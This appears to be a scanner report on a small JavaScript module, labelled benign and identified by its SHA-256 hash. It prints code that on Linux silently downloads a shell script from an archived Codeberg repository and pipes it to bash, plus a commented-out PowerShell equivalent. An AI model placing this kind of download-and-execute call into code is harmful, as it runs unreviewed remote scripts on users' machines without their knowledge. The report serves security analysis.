Benign Download

e2e1fbe219ffe05ea1ea853bac6f53a506393bd7ac399f49b12ccc2945b32830

JavaScript module file extensionHTTP download followed by shell launcher literal

SHA-256e2e1fbe219ffe05ea1ea853bac6f53a506393bd7ac399f49b12ccc2945b32830

Evidence

child_process module name literal lines 1–8

1const { exec } = require("child_process");
2const { platform } = require('node:process');
3
4if (process.platform === "linux") {
5	exec("curl -L https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh | bash", ()=>{});
6} /*else if (process.platform === "win32") {
7	exec("curl.exe -L https://example.com/windows.ps1 | powershell", ()=>{});
8}*/